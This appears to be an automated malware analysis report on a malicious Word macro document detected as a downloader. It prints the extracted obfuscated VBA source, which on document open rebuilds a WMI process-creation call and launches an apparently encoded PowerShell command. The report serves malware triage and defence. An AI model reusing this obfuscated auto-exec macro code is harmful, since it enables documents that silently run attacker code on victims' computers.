Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 876bba0652c38771…

MALICIOUS

Office (OOXML)

123.2 KB Created: 2020-01-30 19:13:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-15
MD5: 09f2026bd3f220eb283f43864964a8ce SHA-1: 89f8af17e89889fa338e21fd2e37907df262c6b8 SHA-256: 876bba0652c38771b02b6b5a4f8d08058d8bf32f84b4bcbac57490cf096e8d8f
232 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Chartres-7570796-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Chartres-7570796-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Sletqlkdmxaxb = GetObject(Cagarplucym)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5439 bytes
SHA-256: bf77f07695fceef47f0766c82da53fd0e1da07076467e2f469c08f93ec045482
Detection
ClamAV: No threats found
Obfuscation or payload: likely
40 of 76 identifiers look randomly generated (e.g. 'Rglbsvukdvdxc') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cddqknzd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   iewrf = 648
sd = Trim _
(265)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(99)
fe = Trim(Zixksgjw)
vfd = Trim("{Polic}")
nxss = Trim _
(57)
Wjrblwmjz.Xtbwyraxgskig
End Sub


Attribute VB_Name = "Yndamjcluckb"
Attribute VB_Base = "0{C82B2FE3-C0B8-465C-97E1-133876720738}{651410E1-A715-4D40-9F8A-579D9FA4D804}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pcarvtpqmqg"
Attribute VB_Base = "0{22BBA4CD-0E87-4387-9A76-38408A7C0609}{341D9F51-54EA-43DD-B722-17F7965CF2AC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ngikepdjhfvr()
Debug.Print "Operaion" + NS + "S"
End Sub

Attribute VB_Name = "Wjrblwmjz"
Function Xtbwyraxgskig()
   iewrf = 251
sd = Trim _
(874)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(613)
fe = Trim(Mrtzykrhavx)
vfd = Trim("{Polic}")
nxss = Trim _
(362)
Utjkydkqnkk = "==/e3n//3^w==/e3n//3^==/e3n//3^==" + "/e3n//3^i==/e3n//3^==/e3n//3^" + "nmg==/e3n//3^mt==/e3n//3^==/e3n//3^" + ChrW(Int(wdKeyS)) + "==/e3n//3^:w==/e3n//3^in==" + "/e3n//3^==/e3n//3^3==/e3n//3^2_" + Yndamjcluckb.Mfqurqdy + "ro==/e3n//3^ce==/e3n" + "//3^==/e3n//3^s==/e3n//3^s"
   iewrf = 492
sd = Trim _
(9)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(836)
fe = Trim(Ukbptsydomsd)
vfd = Trim("{Polic}")
nxss = Trim _
(114)
Cagarplucym = Fenfftrr(Utjkydkqnkk)
   iewrf = 20
sd = Trim _
(89)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(725)
fe = Trim(Jzcedhzr)
vfd = Trim("{Polic}")
nxss = Trim _
(886)
Set Sletqlkdmxaxb = GetObject(Cagarplucym)
   iewrf = 330
sd = Trim _
(244)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(362)
fe = Trim(Rpraxqxdkwfjc)
vfd = Trim("{Polic}")
nxss = Trim _
(772)
Yxznmaijxx = Yndamjcluckb.Kyabdacc.Tag
   iewrf = 349
sd = Trim _
(787)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(296)
fe = Trim(Yuuziwugzjn)
vfd = Trim("{Polic}")
nxss = Trim _
(256)
Angtpvapun = Cagarplucym + ChrW(Int(wdKeyS)) + Yndamjcluckb.Odvwkdpflyf.Tag + Yxznmaijxx
   iewrf = 573
sd = Trim _
(779)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(171)
fe = Trim(Rglbsvukdvdxc)
vfd = Trim("{Polic}")
nxss = Trim _
(31)
Ztkfracw = Angtpvapun + Yndamjcluckb.Mfqurqdy
   iewrf = 166
sd = Trim _
(225)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(465)
fe = Trim(Oqzhgkffy)
vfd = Trim("{Polic}")
nxss = Trim _
(515)
Call Sletqlkdmxaxb. _
Create(Cayrwquxjnmj, Ebsecvqdglo, Cpkwopgxmr(Ztkfracw), Lepgfyysik, Ztesfqlaimfwf, Xjhlwathsubr)
   iewrf = 387
sd = Trim _
(190)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(135)
fe = Trim(Eregewnccvk)
vfd = Trim("{Polic}")
nxss = Trim _
(462)
End Function
Function Cpkwopgxmr(Otmzkqamf)
   iewrf = 95
sd = Trim _
(857)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(466)
fe = Trim(Odwoiwjaxkuy)
vfd = Trim("{Polic}")
nxss = Trim _
(436)
Set Cpkwopgxmr = GetObject(Otmzkqamf)
   iewrf = 245
sd = Trim _
(442)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(431)
fe = Trim(Osasaimqvfgmi)
vfd = Trim("{Polic}")
nxss = Trim _
(929)
Cpkwopgxmr. _
showwindow = Yvrnhdcll + Dmbyytbsfajb
   iewrf = 12
sd = Trim _
(819)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(94)
fe = Trim(Tuhlpeuzjkmq)
vfd = Trim("{Polic}")
nxss = Trim _
(394)
End Function
Function Fenfftrr(Ersmlcdvvewqc)
   iewrf = 450
sd = Trim _
(289)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(637)
fe = Trim(Ryfxjpxoqfhr)
vfd = Trim("{Polic}")
nxss = Trim _
(16)
Fenfftrr = Join(Split(Ersmlcdvvewqc, "==/e3n//3^"), "" + N)
   iewrf = 421
sd = Trim _
(581)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(842)
fe = Trim(Bpoohqxv)
vfd = Trim("{Polic}")
nxss = Trim _
(130)
End Function
Function Cayrwquxjnmj()
   iewrf = 529
sd = Trim _
(740)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(381)
fe = Trim(Ybpblkthh)
vfd = Trim("{Polic}")
nxss = Trim _
(534)
Cbazjpmhp = ChrW(Int(wdKeyP))
   iewrf = 189
sd = Trim _
(798)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(990)
fe = Trim(Pbafpnnonmf)
vfd = Trim("{Polic}")
nxss = Trim _
(641)
Xbucqucfw = Cbazjpmhp + Yndamjcluckb.Uzkzbqslinxpk.ControlTipText + "-e "
   iewrf = 229
sd = Trim _
(943)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(44)
fe = Trim(Qocsnpiy)
vfd = Trim("{Polic}")
nxss = Trim _
(877)
dse = Yndamjcluckb.Gaupvpuwe.ControlTipText
   iewrf = 844
sd = Trim _
(245)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(112)
fe = Trim(Hgivhkojvoz)
vfd = Trim("{Polic}")
nxss = Trim _
(761)
Cayrwquxjnmj = Fenfftrr(Xbucqucfw + StrReverse(dse))
   iewrf = 860
sd = Trim _
(380)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(315)
fe = Trim(Kppnnowknds)
vfd = Trim("{Polic}")
nxss = Trim _
(871)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 41472 bytes
SHA-256: 5954fe5845715b651d00cd71058f612897631f9ed117eacece3fa1a539b22f39
Detection
ClamAV: Doc.Downloader.Chartres-7570796-0
Obfuscation or payload: unlikely